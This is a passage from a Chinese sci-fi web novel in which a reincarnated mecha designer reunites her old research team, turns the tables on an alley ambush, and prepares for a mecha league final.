要是其他人，这时候多半视线游移，心虚转头，或者是被人说中，恼羞成怒。 但陶影二者都不是。 她看叶行晖看得理直气壮。 “电影沉闷得很，又没什么意思，我不看你，看天上的星星吗？” 说着陶影指着天幕。 “今天是星际环保日，天幕只维持最基本的功能，没有星空可以看。” “何况星星就是会发光的核聚变反应堆，有什么好看的。” “还是你比较好看。” 陶影补充道。 说着唐突伸手，想摸两下叶行晖的睫毛。 叶行晖面色一僵，随后非常熟练地侧身一躲，小声道：“你别碰。” 陶影瞥了眼他微微发红的耳垂，耸耸肩，收回了手。 她这话没有别的意思，就像夸路边的一朵花好看一样，随口就夸了，不带一点感情。 哦，也有感情，毕竟逗他很好玩。 叶行晖皮肤很薄，薄到颈侧能看到青色的血管，陶影每次逗他，他会从耳朵红到颈侧。 陶影摸摸下巴。 怎么说呢，逗他的正反馈很强。 眼见陶影笑容逐渐不对劲，明显又憋着什么坏招，叶行晖无奈地伸手投降。 “我好歹是病人……” “哦？”陶影一脸不解，“你之前不是还哭着说什么‘不要把我当病人，就把我当普通人，我想像普通人一样生活——’，我非常尊重你的想法，听进去了，所以才这样对你的。” 是没把他当病人，也没把他当人。 叶行晖无奈道：“你敢不敢在莉萨姐面前也这么说话。” 陶影双手抱臂：“我怎么不敢。” 叶行晖笃定道：“你不敢。” 陶影僵持片刻，“啧”了声，转过身。 莉萨是陶影的监护人，也是八岁时候把她从垃圾堆里捡回去的人。 陶影打从有记忆开始，就没怕过谁，唯独在莉萨面前会收敛一些。 陶影叹气：“你不懂，莉萨姐虽然表面上烂好人，但生气很可怕的，我小时候她经常凶我。” “莉萨姐说，是因为你小时候经常闯祸。” “能让她知道的那些事算什么闯祸。” 陶影半闭着眼，背靠天台，潇洒地吹着夜风。 “都是我觉得可以让她知道的事。” 那很厉害了。 最终，那天的电影，以他们两个都被护士长骂了结尾。 “叶行晖的身体经得起吹风吗？你们能不能让人省点心！” “陶影，说过多少次不要偷偷开天台的锁，小叶的病情……”护士长看了一眼叶行晖，欲言又止，“总之不准随便带他出病房，听见没？” 陶影笑眯眯地应承说下次不会了，然后悄悄在背后勾了勾叶行晖的手指，朝他使了个眼色。 面上明显写着“下次还敢”。 叶行晖低头藏住嘴角的笑意。 陶影打小就不太守规矩，或者说，本性就不太守规矩。 只是随着时间的变化，她逐渐掩藏了这一点。 叶行晖一直是这样认为的。 所以当陶影再次说出那句他曾经回忆过无数次的“小叶，你又神游天外了？”，叶行晖第一反应是怀疑。 她是不是发现了自己的身份？ 叶行晖努力在陶影的脸上寻找着佐证这个推测的依据。 但他没有找到。 陶影问完便没有下文了，又歪着头敲敲智能管家的脑袋，开始捣鼓它的数据盘。 就好像是无意中说出了这句话。 叶行晖深呼吸一下，平稳情绪，思维沉浸到电子流中。 也是，以前的回忆，陶影应该早抛到脑后了。 没什么特殊的。 ……记得的只有他而已。 下一刻，叶行晖进入了智能管家的机械身体，打算进行今天的日常清洁。 智能管家平时都在杂物间或者客厅待机，叶行晖正奇怪自己为什么会在陶影的房间—— 陶影用背将门顶上，扭一下把手，关好，落锁，一连串动作行云流水。 而陶影提着一箱的工具，自上而下俯视着他。 “小叶，你暂时不能离开这个房间。” 陶影的声音近在咫尺，叶行晖神色微微僵硬。 他有一种不好的预感。 以他对陶影的了解，这人绝对在想什么坏主意。 果然，下一刻，陶影笑容满面道。 “在我修好你之前，你要跟我待在一起。” …… 于是接下来几天，智能管家小叶经受了惨无人道的折磨—— 陶影洗完澡，头发湿答答的，只穿件浴袍就走出浴室。 “小叶，帮我吹下头发。” 试图撞门离开但惨遭失败，总之已经面壁两个小时的叶行晖：“……” 根本不敢睁开眼。 他艰难道：“主人，智能管家不能理解您的意思。” “嗯？是吗，我记得有这个功能啊。” 陶影撩撩头发，装作没发现他的窘迫，悠然走过来确认。 头发上的水滴滴答答地落在智能管家的身上。 叶行晖不敢动。 “你对着墙干什么？我看不见你的屏幕。” 陶影被冷到，咳嗽了声，她紧了紧浴袍的领口，捻起一撮湿透的发丝，自言自语。 “再不吹干又要发烧了。” 小叶的眼神经历一番纠结后，最终变成了“——||”，只能闭着眼睛，左冲右撞地转过头，开始给陶影吹头发。 “小叶，你开的吸尘档。” “啊，对不起。” “你在吹哪里，那是我的腿。” “对不起！” 几天后，陶影终于把小叶从房间放了出去。 林别歌感动地走过来：“终于修好了吗？我终于能在家吃饭了？” “嗯，暂时好了。” 陶影点点头。 试探得差不多了。 南卦歪着头，看向智能管家：“怎么小叶看上去有种解脱的感觉……你怎么修好的？” 陶影举起一根手指：“商业机密。” 叶行晖回到地下的时候，满脸疲惫。 博美看到他的脸吓了一跳，看到电费更是吓得魂都要没了。 “你干什么了？我看看电费记录分析……电费六百万！”博美开始在机房大叫。 跑了两圈之后，它终于呼哧呼哧停了下来。 看记录分析里，脸红次数达到了堂堂八十次。 不对劲，非常不对劲。 博美奇怪道：“你这几天干嘛去了？” “经历了一些超越常理的思考……” 叶行晖简单解释了一下，博美似懂非懂地点点头。 “她发现你是谁了？” “也许吧。” 叶行晖摇摇头，他这几天过得晕头转向，根本不知道自己在干什么。 也不知道陶影究竟想做什么。 叶行晖喃喃道：“小影很少交付自己的信任，我觉得她似乎在试探我。” 博美晃晃尾巴：“也不奇怪，时隔十年，什么都变了，她不信任你很正常。” 陶影刚刚活过来的时候，它们为了确认陶影的安全，曾经向她投递过一只机械小狗。 机械小狗在沙漠中惨遭分尸。 博美想起当时看到的第一视角恐怖影像，忍不住打了个寒颤。 “我们不会也沦落到那只小狗的下场吧？现在跑路还来得及不？”博美吞了一下口水。 叶行晖叹气。 “不跑可能会死得安详一点。” 临近决赛，陶影去柏氏工业试驾恒我，做一下决赛前的准备。 机体保养得很好，能看出来柏氏工业对它非常上心。 结束的时候，陶影跟柏墨一起走出机库，她望了眼近乎全黑的机体，随口提了 一下合作的事。 “之前说的事安排得怎么样了？” 柏墨点点头：“嗯，人都到齐了。” “他们在会议厅等你。” 第80章 柏氏工业顶楼,会议厅。 巨大的圆桌被打磨得十分光滑，桌面摆着极简的黑色装饰品。 车晓理，大龙,费拉尼亚，贝蒂,王倚等，莱门机甲研究所的核心成员,陆陆续续聚在了这里。 ——他们在等待一个人。 费拉尼亚先开了话头：“听说有人想重建莱机所,我就来了,没想到大家竟然都在。” “这么多年过去，大家还对莱机所念念不忘,果然我们莱机所是一个和谐的大家庭……” 说着费拉尼亚有点感动地抹抹眼泪。 但王倚摇头：“我不是为这个来的。” “我也不是。” “我只是想看看说这大话的人是谁。” 费拉尼亚：“……” 大家好冷漠。 费拉尼亚噎了一下,定了定神色道：“好吧其实我也不是。” 在场所有成员,都不是为“重建莱机所”这种天方夜谭来的，他们不相信世上的任何一个人有这个能力。 毕竟莱门机甲研究所的核心,不是什么尖端技术，也不是什么帝国资源—— 而是陶影。 陶影就任所长前,莱机所只是一个民间的小机甲组织，没有太多科研能力。 是在陶影到来后，迅速变更了研究重心,才发展起来。 团队成员大多也不是本地人。 车晓理是陶影的学妹。 大龙是陶影出差的时候，从偏远星系挖角来的。 其他几位，差不多也如此。 陶影那时候在各个星系来回跑，费了不少心血，最终组建成现在的团队。 没有陶影，团队只是一片散沙而已。 大家也曾经努力想要重组莱机所，但最终都以失败告终。 “这世上很难再出现一个所长那样的天才了。” “贝蒂当年也有过重建莱机所的打算,但成功了吗？不是我想泼冷水，那太难了。” 当年的火不仅烧毁了莱机所，也烧毁了他们心中的希望。 “所以你们知道说这大话的人是谁吗？” “不知道，柏小家主帮忙转达的，还说这件事实现的可能性很大。” 业界共识——柏家人不说假话。 所以他们才来到这里。 贝蒂脚踢着椅子，沉默了一阵。 “不是说马上到吗？这么久了，怎么还不来。” 她话音刚落，会议厅厚重的大门被推开。 逆光中，一名身形纤弱的学生坐着轮椅，在两位安保人员的护送下，缓慢进门。 她的左腿被纱布层层裹住，手臂瘦弱，搭在扶手上。 星历9102年了，还有这种体质的人类？ 众人愣神一瞬，眼底均闪过一抹讶异。 这名学生走错地方了？但这里可是柏氏工业的会议厅，闲杂人等应该进不来。 众人正想友好讯问她是什么人，就看见柏墨也跟在学生身后进入了会议厅，随后关上了门。 学生的轮椅快要撞到椅子，柏墨伸腿一挡。 众人：“……” 柏墨作为柏氏工业的小家主，不可能为一个无关紧要的人做这种事。 大家很快意识到，这名柔弱的学生就是那个将要“重建莱机所”的人。 一时，在场众人表情都精彩纷呈。 有一脸问号的，有觉得这是整蛊开始到处找摄像头的。 有人迟疑着皱眉，感觉被耍了。 贝蒂就是那个觉得自己被耍了的。 她忍了一下，但没忍住，愤怒地起身：“柏墨，我没想到你竟然说谎话骗我！” “我没有骗人。” 贝蒂气急反笑：“你的意思是这个病秧子能带我们重建莱机所吗？” 贝蒂等了很久，再也不想听废话，蹬蹬踩着高跟鞋离开了会议室，沿途倒了一片的椅子。 陶影：“……” 多年不见，贝蒂的急脾气是越发火爆了。 而其他人……陶影环视一周，什么表情的都有。 但总结一下，就是在场每个人都对她毫无信任。 算是在她预料之内。 气氛有些尴尬，陶影神色却丝毫不变，她镇定自若地敲了敲轮椅，轮毂自动往前。 陶影简单自我介绍一下，然后进入了正题，她按住圆桌底部的按钮。 桌面上显现出全息投影。 陶影晃晃遥控器。 “大家的时间都比较紧迫，长话短说吧。柏墨应该跟你们说过了，我想要重建莱机所。” “除此之外，我打算在天穹杯决赛揭露那场大火的真相。” 陶影没有说是哪场大火，但大家都知道她在说什么。 没有一个人不记得那场刻骨铭心的大火。 “……” 沉默了一阵，王倚突然笑了声。 “都十年前的事了，现在说有什么用？无聊。” 说完，王倚跟在贝蒂身后，也走了。 “王倚！喂！” 费拉尼亚叫了两声，没把人叫回来，尴尬地打了个圆场。 “抱歉，王倚其实性格挺好的，就是老大的事情对我们来说有点……像是创伤一样，希望你能理解。” “前段时间老大的死亡录像在网上疯传，大家都受了点刺激。” 陶影叹气：“抱歉。” “你有什么好抱歉的。” “视频是我放上星网的。 众人：“……” 说到录像，在场众人想起来了，这死亡录像是朱弛被抓的时候流出来的。 难道朱弛被抓，其实是这个学生的手笔？ 大家一时眼神认真地看向陶影。 而陶影——有些愣神。 她其实没想到那个视频竟然会勾起朋友的创伤，只是作为证据发到了星网上。 当时伊琳娜的反应也出乎她的意料。 难不成大家对她的死其实还挺耿耿于怀的？ 陶影搓了搓下巴。 现在笑出来是不是有点地狱了？ 算了，还是忍忍吧，先说正事。 气氛莫名变得正经起来，大家也终于正视了陶影的存在。 如果把朱弛抓起来和揭发溟火抄袭，真的是这名学生的手笔，那她还真有些才能。 但……正因为如此，所以更不能把她卷进来。 他们是大人，可以为自己的行为承担后果。 但她还是个学生，还是个头脑聪明的学生，她有远大的未来，不能像他们一样被困在过去。 他们有义务阻止她的自杀式行为。 费拉尼亚：“你斗不过爱荷华家族的，他们迟早会盯上你。” 陶影耸耸肩：“无所谓，之前把甘逸爱荷华送进星际监狱的时候已经被盯上了。” “啊？这件事也是你做的？？” 一时间会议厅内响起激动的拍桌子拖椅子的声音。 众人都站了起来，惊讶万分。 但之后，他们又坐下连声叹气。 “你是被陶影资助的学生吧。这件事就到这里，你不要再插手了，老大肯定不会希望你这样的。” “就是，你最重要的是完成学业。” “她不希望我这样？” 陶影不太赞成地笑了：“真的吗？陶影是这种人？” 众人：“……”那倒确实不是。 说实话，陶影会花钱资助学生，不管是当年，还是现在，对莱机所成员来说都是件难以理解的事。 不是他们故意说陶影的坏话，主要老大就不是那么有善心的人。 车晓理抬头望天：“老大如果还活着，应该会说‘你们一定要把杀我的人找出来，不然我就变成鬼缠着你们’。” “很有可能。”“确实是她能干出来的事情。”“突然空气有点阴森了。” 众人齐齐打了个寒颤。 回想起当年老大在项目死线之前催他们赶工 的日子…… 突然心里的创伤就少了一点是怎么回事。 费拉尼亚回了回神，对陶影道：“但你怎么知道老大是这样的人？以你的年龄应该没见过她吧？” “哦，这个我知道，”车晓理举手抢答，“老大日记里写的。” 在场众人：“……” 老大？写日记？ 众人眼中浮现出一个画面。 一个发型干脆利落，穿着卡其色风衣的女人，坐在黑压压的运算机群中。 她手里握着一本粉红色封皮的日记本，然后伏案写着“今天天气晴，我在莱机所加班，心情不太好。” 结尾再画了个>_<表情。 …… 不，这个画面比老大变成女鬼来天天缠着他们还要可怕。 那个人情淡漠，笑里藏刀的老大怎么可能写日记，有这个时间她只会写项目总结！ 陶影轻咳一声。 “这不重要，总之这件事情，我已经决定要做了。” “你打算怎么做？爱荷华科技在舆论掌控上非常厉害，不然当年老大的死也不会不了了之。” “对，而且我们就在切斯特星，他们线下随时可以找个理由关我们几天，之前就是因为这个，车研究员他们才去了偏远星系。” 陶影面露笑容。 “当然是在一个他们无法拒绝的场合。” “这次机甲联赛决赛，帝国第一军校的队员，将使用爱荷华最新机型，溟火二代参赛。大概是为了打开销路做宣传吧。” “那抄袭的机体？就是宣称精神力B级也可以驾驶的？真亏他们有这个脸。” “那有什么办法，没人在乎真相，他们的机体可以量产而且好用，价格也合适，对购买的人来说，这就够了。” “不，量产姑且不说，好用可不一定。”陶影道。 众人疑惑：“什么意思？” 陶影站起身，双手撑住桌面，上身微微前倾，嘴角挂着一抹似有若无的笑意。 “溟火有一个致命的缺陷。” “我要利用这点，让它在决赛的时候——彻底变成废品。” 陶影离开会议室，转角处撞上一个人。 见她出来，贝蒂掐掉了烟。 贝蒂刚刚虽然生气离开了，但走到一半，鬼使神差地又走了回来，然后在门缝里听完了陶影说的话。 “你……”贝蒂言语间有些沉默，没有了刚才惊人的气势，反倒有些疲态，“刚才生气离开的事，抱歉。” “我不介意。” 陶影露出一个让人安心的笑容。 “你看上去很累。但莱机所重建后，会立刻重新忙起来，做好准备迎接挑战了吗？” 听到陶影这样说，贝蒂愣了下。 贝蒂眼中有希望，但又有些小心翼翼。 最打击人的不是绝对无法完成的目标，而是近在咫尺也无法达成的希望。 “你刚才说的那些，真的能做到吗？” 陶影狡黠地眨了眨眼睛：“我通常很注重合作伙伴之间的信任，所以不会撒谎。” 贝蒂垂头笑了笑。 “你说话真像老大。” 她不太相信一个学生能做出什么，只是她说得太容易让她产生希望了。 “做不到的。我和王倚努力了这么多年，但我们的力量太小了，平民怎么对抗贵族？” 贝蒂面露苦涩：“爱荷华家族的背后是王室！” 陶影没有立刻回应，她轻轻侧过头，看向窗外。 那个方向是雷瓦尔帝国的王宫。 片刻后，陶影语气平静道： “知觉机甲曾经也只是一个无法实现的猜想。” “但在这样的推测中，恒我诞生了。” “我不打算止步。” 不管前方究竟是什么。 就算陶影没有死于那场大火，就算恒我成功推出，就算当年她想达成的一切都圆满结束。 陶影也会继续挑战下一个难题。 因为她本性如此。 她的人生直到死亡那一刻，都不会停止探索。 陶影半眯着眼，坐在轮椅上，迎着日光朝贝蒂伸出手。 “你呢？要和我一起吗？”—— 作者有话说：贝蒂：一定要坐在轮椅上说这么感人的话吗。 陶影：你听不听吧。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 “您的冰莱式,中杯少冰，请拿好。” 仿生人店员笑容甜美地递出饮品。 “谢谢。” 陶影接过咖啡，拍拍轮椅。 轮椅开始运作,一路来到门口。 门槛处有一条小小的凸起，并不显眼,但位置正好卡住了履带。 陶影试着跨越门槛，但履带依然卡在同一个地方,死活出不去。 后面有人过来,陶影侧身先退回了店里。 这轮椅之前在柏工大楼就撞来撞去的,自动避障程序堪称没用。 “需要帮助吗，同学。”极近处传来声音。 “嗯？”陶影下意识往前挪了挪,疑惑地回头。 一位技术员扶了扶她厚重的眼镜。 她的衣着打扮,声音线条都很中性,不太能看得出来性别。 但陶影认得她。 虽然不知道名字，但这名技术员和她一样,是这家店的常客，她们常常在店里碰见。 就是那种你知道我,我也知道你，但互相从来没打过招呼的关系。 陶影扫了一眼她怀里抱着的文件，封口处写着“莱门监测中心重要机密,不可外泄”。 机密文件就这么拿到咖啡店来处理真的好吗？ 这里到处都是监控，一不小心就会泄漏。 感觉这位技术员性格应该非常马虎。 那位好心人见陶影没有反应，又重复了一句：“同学？你是不是卡在这里了，要不我帮你把轮椅搬出去吧。” 陶影自然地喝了一口咖啡，然后在这名技术员震惊的目光中，直直站了起来。 她笑容满面地弯着眼，婉拒道：“心意领了,但谢谢。” 好心人一脸吃惊地看着她直立的腿，宛如看到一个医学奇迹。 “你腿没骨折啊？” “只是擦伤。”陶影摊手。 之前在柏氏工业一楼，货架上的货物不稳砸了下来，虽然陶影凭借反应能力迅速躲开，但不小心嗑上桌腿。因为忙着找莱机所的人，没时间处理，就随便用纱布裹了一下。 这点小伤算什么。 在她的病历里都排不上号。 总之没渗血就行。 陶影自如地道谢，随后在好心人茫然的眼光中，把轮椅从门槛搬了出去，坐上软垫，挥挥手留下一个背影。 轮椅是柏氏工业送的，虽然自动避障功能有点缺陷，但你别说坐着挺舒服，速度可以达到18公里每小时，说不准比起穿梭舰是更合适她的交通工具。 十分钟后，陶影看着一坡阶梯，决定收回自己刚才的四星评价。 轮椅似乎把楼梯识别成了障碍物，不停往上撞。 上楼还是不太方便，看来今天要换一条路线回家了。 陶影手握咖啡，将光脑查询到的路线输入轮椅。很快，轮椅转了个弯，进入步行街边的一条支路。 一开始周围还是热闹的商铺，连锁快餐店，生活杂货，电子娱乐一应俱全。 穿梭舰在空中按照固定路线运行，人声鼎沸。 但逐渐，道路变得狭窄起来，时不时刮到石子，轮椅对着陶影的屁股就是一个颠勺。 越往前走，光线越暗。 周围安静得过分。 切斯特星A区竟然还有这么荒凉的地方？ 不太对劲，陶影低头确认了一下地图，屏幕右上角有一个红色感叹号，提醒她网络已失效。 看来不是巧合。 陶影没什么表情地喝完最后一口咖啡，将它扔进身侧的垃圾桶。 她不慌不忙按停了轮椅，手动操作它往一个特定的方向移动。 “大费周章引我来这里，有什么贵干？” 陶影对着那片黑暗道。 层叠楼房的阴影中，走出一个女人。 她身形高大——比林别歌矮一点，但步伐不像林别歌那么轻快，更为沉稳，明显有军校训练的痕迹。 她一脚一脚，落地很重，一直踩到陶影面前。 陶影认识她，而且不久前才见过。 是阿尔泽塔军校的柴婕。 柴婕掰了掰手腕，关节处发出喀哒两声。 “真亏你能发现，”柴婕冷笑一声，“我特地雇佣了技术员劫持掉你的光脑信号，本来打算再往前走一点，没想到竟然被你发现了。” “是吧。” 陶影懒懒地答了一句。 这名技术员的 技术确实挺不错，竟然能攻克她的防火墙。 整个星际能做到这件事的人也寥寥无几。 想必是柴婕在深网雇佣的，应该花了不少钱。 陶影摊手：“那真是破费了，这钱直接给我，我也不是不能见你一面。” “你还挺镇定？” “谬赞。” “谁在夸你？” 柴婕看陶影完全没把她当一回事，火气蹭蹭往上涨。 弱者就该有弱者的样子。 柴婕想到这里，大踏步上前，两手揪住陶影的衣领，把她提离了轮椅。 她咬牙道：“你对我们队长做了什么？” “哦——” 陶影语气恍然大悟，仿佛现在才知道柴婕的目的，但她眼神中毫无惊讶。 果然是为了这个。 许彪自从半决赛结束，就把自己关在宿舍里，除了必要活动，完全不出门。 整个人都像受了什么刺激似的。 半决赛虽然是陶影她们找到了信标，但作为队友，阿尔泽塔也晋级到了决赛，但现在许彪死活不愿意再上场。 再这样下去，阿尔泽塔军校就没办法参加决赛了。 陶影笑眼弯弯：“你为了许彪想揍我一顿？不至于吧。” 柴婕嗤笑一声。 “为了他？他技不如人，关我什么事。” “哦，那是为了什么？” 柴婕冷冷地道：“这是我最后一年参加联赛，我一定要进入决赛。” 她没有下一次机会了。 但赛方要求，参与比赛的只能是报名时的三人，偏偏许彪现在又是这个鬼样子。 柴婕对此非常不满。 而她问过童飞鸣后半决赛的细节后，立刻认定这件事情一定和陶影有关。 所以才有了今天的事。 柴婕凶恶地盯着陶影的眼睛：“我不管你干了什么，许彪的心结在你这儿，你必须解决掉，让他能参加决赛。” “否则我就弄断你另一条腿！” 柴婕威胁道。 下一刻，陶影被人像麻袋一样提起来。 柴婕的手肘抵住她的颈侧，向下压。 喉咙处传来一阵阵的压迫感。 哦——好吓人。 陶影咳嗽两声，心中依旧一片平静。 倒不是她缺乏危机意识，只是柴婕的目的非常明显。 目的明显，那弱点也明显。 只要利用她的弱点进攻就好了。 于是陶影面色困扰地拍拍柴婕的手。 见柴婕没有放自己下来的打算，陶影干脆手往椅背后一扣。 轮椅的座椅缓缓抬起，撑住陶影的背。 陶影站立起来。 提着陶影衣领的柴婕：“……” 柴婕太阳穴爆出一个“井”字。 “你玩起来了还？” 如果说柴婕之前是在故意恐吓，这会儿看上去真有点生气了。 柴婕再次提起陶影的衣领。 一阵失重感后，陶影两腿悬空，脚尖只能堪堪踮在轮椅的踏板上。 陶影这才神色认真了点。 “别激动，我哪有在玩，就是坐久了腰疼。你这件事吧，也不是没有办法，要不先听我说？” 陶影语气十分真诚。 柴婕一脸狐疑，打量陶影半天，才将她放了下来。 陶影拍拍衣服上的褶皱，在柴婕的目光中，不紧不慢地回。 “许彪不出门和我没关系，威胁我也没什么用处。” 柴婕当即握紧了拳头。 “还装傻？他跟你进入那个山洞之后，身上就出现了电击的伤痕，你现在告诉我和你没关系，你说这话你自己信吗？” “你刚刚果然只是想骗我放你下来。” 柴婕越说越气，手往身侧一指，嘴角勾起一个威胁的笑容。 “我都查过了，这里没有监控，你要是不想出事，最好老实听话。” 没有监控？ 陶影摇摇手指，显然不赞同柴婕的话。 “谁说这里没有监控？” 说到这里，陶影眼中流溢出异样的色彩。 她伸手指向糖水店门口。 “那儿，看见没，差不多两米高的地方，有一条线。” 非常不起眼的水管上，包裹着一层线路。 果然顺着线往上，有个不起眼的黑色盒子，仔细看去，指示灯微微闪着黄光。 非常古老的监视器型号。 一般人还真认不出来。 应该是以前的店家留下来的，虽然店铺已经关门了，但监控还通着电。 柴婕冷笑一声：“你难道觉得还能靠这个威胁我吗？” “真想威胁我，就不该告诉我监控的位置。” 柴婕大踏步走上前，一下将监控扯了下来，朝地上狠狠一摔，还看着陶影，一脚将它碾碎。 “现在不会有人来救你了。” 陶影愣愣地看着地上的黑色碎片，片刻后，扶着墙扑哧笑出声。 不是，你们阿尔泽塔军校的人做事都这么实诚吗，她还没来得及说什么。 “你笑什么？” 陶影抹掉眼角的眼泪：“我不是那个意思。” 本来还想说那台机器没有联网，靠她的手段没有办法关停。 柴婕让事情变得更简单了。 没有监控对谁来说是件好事？当然是对想要做坏事的人。 因为不会留下证据。 陶影手伸到背后，握住了电击|枪，笑容满面。 “你不是想知道许彪身上发生了什么吗？” “我现在就告诉你。” “小影，阿尔泽塔军校退出决赛了哎。” “他们发了退赛致歉。” “那挺好的。”陶影象征性地看了一眼南卦的光脑屏幕，没太大反应。 “怎么感觉你早就知道？” 南卦的眼神突然犀利了起来。 陶影面不改色道：“因为我的智慧，让我预见到了这一切。” 南卦无奈扶额：“话是这么说啦……” 林别歌倒是兴奋地跳了过来。 “网上有人剪他们欺凌学生的剪辑集锦！影子你也在里面。” “哦？我看看。” 陶影凑了过去，是海选赛时候的事，当时阿尔泽塔撞坏了陶影的机甲。 除此以外就没她的镜头了。 上传者还把这个视频和阿尔泽塔军校的退赛声明剪到了一起，主打的就是一个当初飞扬跋扈现在终于吃瘪了吧，标题叫“大快人心”。 评论区一片叫好。 【终于有人整治阿尔泽塔军校了！哪位壮士在此，受我一拜！】 【这件事闹得联赛官方都知道了，他们更改比赛条例，说赛前如果有这种损坏他人机甲的情况，会取消该队伍的比赛资格。】 【早该这样了！联赛苦阿尔泽塔久矣。】 一边的林别歌：“就该，谁叫他们总喜欢欺凌其他选手，武力值是拿来欺负弱小的吗？明明是用来保护自己和朋友不受伤害的。” 南卦好奇道：“小影你怎么不说话，你在看什么？” 光脑屏幕上密密麻麻都是文字。 陶影扫过屏幕，随口答道： “嗯，我在看更改后的新的联赛条例。” “又在找有什么漏洞可以钻？” “只是为了确保一切都在计划当中而已，你真会把我往这方面想啊。” 林别歌哼哼两声：“鉴于你的一系列前科。” 林别歌本来还在想阿尔泽塔的事情，但看到联赛相关，又想起明天要决赛了，突然紧张起来。 她深呼吸安慰了一下自己后，决定转移一下注意力。 林别歌凑到陶影身边。 “听说你明天比赛要 用新机体，是什么机体啊，神秘兮兮的，连我们都没见过。” 陶影靠在沙发上，微笑道。 “到时候就知道了。”—— 作者有话说：采访一下大家来到一个新地方最先会干什么—— 南卦：画速写。 林别歌：找吃的。 陶影：搜索哪里有监控，方便办事。 队友：…… 第82章 —— 决赛是名副其实的生存赛。 赛场内,站立到最后的队伍就是冠军。 虽然是最为简单的赛制，但比赛的自由度越高，选手之间的博弈往往会更复杂。 也因此,决赛的赛场历来最为难以预测。 也许有弱队爆冷，也许有黑马脱颖而出,也许有强队横扫一片。 谁也不知道会发生什么。 但各位选手，总之记住唯一也是最为重要的一点： 保全你的机体,并从赛场活下来。 ——《一分钟带你了解联赛赛制》—— 赛前两小时,林别歌被陶影按着头看完了联赛官方的赛制解说小册子。 林别歌看完的评论是： “决赛其实跟半决赛的打法差不多,没什么难度嘛。” “我们搓一个炸弹把对手干掉，统统干掉！” 林别歌兴奋地在空气中咻咻挥拳。 陶影：“……” 这人半决赛结束之后自信心是越发高涨了。 不过这个办法行不通。 陶影拍拍林别歌的脑袋,沉稳道： “决赛的对手跟半决赛不可同日而语。” 半决赛能那么顺利,其实是沾了灰荆森林自带隐蔽性环境的光——以及,决赛前的机甲都是普通型号，雷达系统更容易被攻破。 “决赛开放了机甲限制,每个队伍都会拿出自己最好的机甲，想迅速攻破对手的防火墙,没有那么容易。” 陶影刚说完，就见南卦两手交握，表情虔诚,呈圣女祈祷状。 “没关系，我们会赢的。” 南卦语气空灵，有点超然世外。 林别歌凑到陶影耳边，小声疑惑道：“南卦今天怎么比我还自信，你有什么头绪吗？” 陶影定定观察了一下，南卦这个状态，应该是压力已经超越了她的心理承受范围。 魂都快紧张得飞升了。 陶影于是对林别歌摇头道：“她这不是自信。” “那是什么？” 陶影挑眉：“她人就在你面前,问我做什么？问她啊。” “那你不是全能的队长吗，而且我有时候真听不懂南瓜说话……” 林别歌挠挠头，倒也接受了陶影的建议，直接蹲在了南卦面前。 林别歌双手合十：“告诉我吧南瓜大人，你为什么一点也不紧张？我想学习一下你的心态。” 南卦空虚的眼神逐渐聚焦到林别歌的脸上，面对林别歌的问题，眨了眨眼，手脚开始比划。 “我为什么不紧张……” 南卦组织了一下语言，最后自己也不太确定地道：“我现在的心情就像考试前一夜，突然发现还有一个大章节忘了复习，无论如何都看不完了。” “这时候不是会莫名产生一种自信，相信自己绝不会挂科吗？” 林别歌噎了一下。 “这难道不是大脑崩溃前的幻觉？” 听林别歌点出真相，南卦脸上笑容突然一收，她平静道： “不，我没有崩溃，只是有点想死。” 林别歌仰天长啸一声：“影子你救一救啊！她又想死了！” …… 比赛前一小时。 赛方给每个队伍都安排了单独的休息室。 太空女鬼队的门牌上挂着“请勿打扰”，门紧锁着。 长方形木桌前，三人围坐。 陶影拉过一把椅子，开始和两位队友商讨战术。 “为什么现在才说？马上开始比赛了。” “说早了你们全忘光了。” 林别歌：“……那倒也是。” 陶影双手交握：“帝国第一军校，卡缪军校，图兰提斯战术学院，青璇军校，贝奥尔军校，这五所强校，算是夺冠热门选择，也是我们需要重点关注的对手。” “贝奥尔军校跟卡缪军校有点过节。卡缪军校去年损毁了他们的一台高级机甲，还害得他们王牌机师受重伤，以后都告别开机甲了。” “这事儿我也有听说过，但和这次比赛有什么关系？” 陶影继续道：“贝奥尔这次上场的三名队员，都是那名受伤机师的好友，他们队伍配合非常好，互相情感也很坚定。” “贝奥尔军校的口号是‘绝不会放弃任何一个队友’。” “所以我推测，贝奥尔军校这场比赛的重点，是打败卡缪军校。” 陶影用笔在五个军校中划掉了一个。 林别歌咬着笔头：“就当你这个推测是对的，除掉卡缪军校，那也还剩下四所军校，必须淘汰两所才行，拿前三还是太困难了。” 林别歌趴在桌子上，撅嘴道：“哎，要是这几个队伍当中，有个弱一点的，我们兴许还能赢。早知道半决赛应该想办法把图兰提斯淘汰掉。影子，你当时为什么放过她们？难道是因为祝小芮？” 陶影一把扯过已经被林别歌咬得面目全非的笔。 “赛场上只有输赢，没有朋友。” 她微笑道：“最可怕的敌人是未知。一个了解的对手，总比一无所知的对手好对付。” 林别歌愣了一下，坐直身体：“你是故意放水让她们进决赛的？但为什么？” “我对图兰提斯有些别样的安排。” 南卦：“虽然不知道是什么安排。” 林别歌：“但总觉得你不怀好意……” 三人面面相觑，然后同时发出了邪恶的笑声。 陶影轻咳一声：“总之比赛开始之后，看情况行事，你们先远离赛场中心，打开迷彩模块，在我给出指令前，先不要暴露位置。” “那你呢？” 陶影眼睛一眨，狡黠道：“我也有其它安排。” “欢迎大家来到第1312届天穹杯高校机甲联赛决赛现场——” 看台人声鼎沸，热情的欢呼声一浪接着一浪，随着选手开始入场，看台的边缘齐齐射出彩烟，上扬的彩色烟雾将气氛拉到更高值。 来到现场的观众，不仅仅有关注联赛的爱好者，学生，甚至有军方的人物。 他们都是为了知觉机甲——溟火MK2来的。 应家，应纱夜。 柏氏工业，柏墨。 爱荷华科技，尤里斯。 不知何时，帝国三巨头的代表人悄然落座观众席的第一排。 而观众席的第一排远不止他们，还有机甲商的海台科技、加西亚电子等—— 伊琳娜刚刚落座，闻到一阵花香。 “这位女士，请让让。” 高贵典雅的声音传来，像是悠远的铃音。伊琳娜下意识后退，这名女性便坐去了应纱夜旁边。 余光看见她的胸针，伊琳娜瞪大了眼睛。 辉羽中插着一把剑。 这是雷瓦尔帝国王族的胸针，不仅是个装饰品，更是权力的象征。 连莉缇安娜王女大人都来了？ 看来溟火二代的第一次实机演示真的是整个星际瞩目。 敢在全星际直播展示，想必爱荷华科技对自己的技术非常有自信。 不仅第一排的观众，整个观众席都在热议这件事。 “听说帝国第一军校要使用溟火二代的机体！” “但这机体不是抄袭吗？还是要尊重莱机所设计人员的心血……” 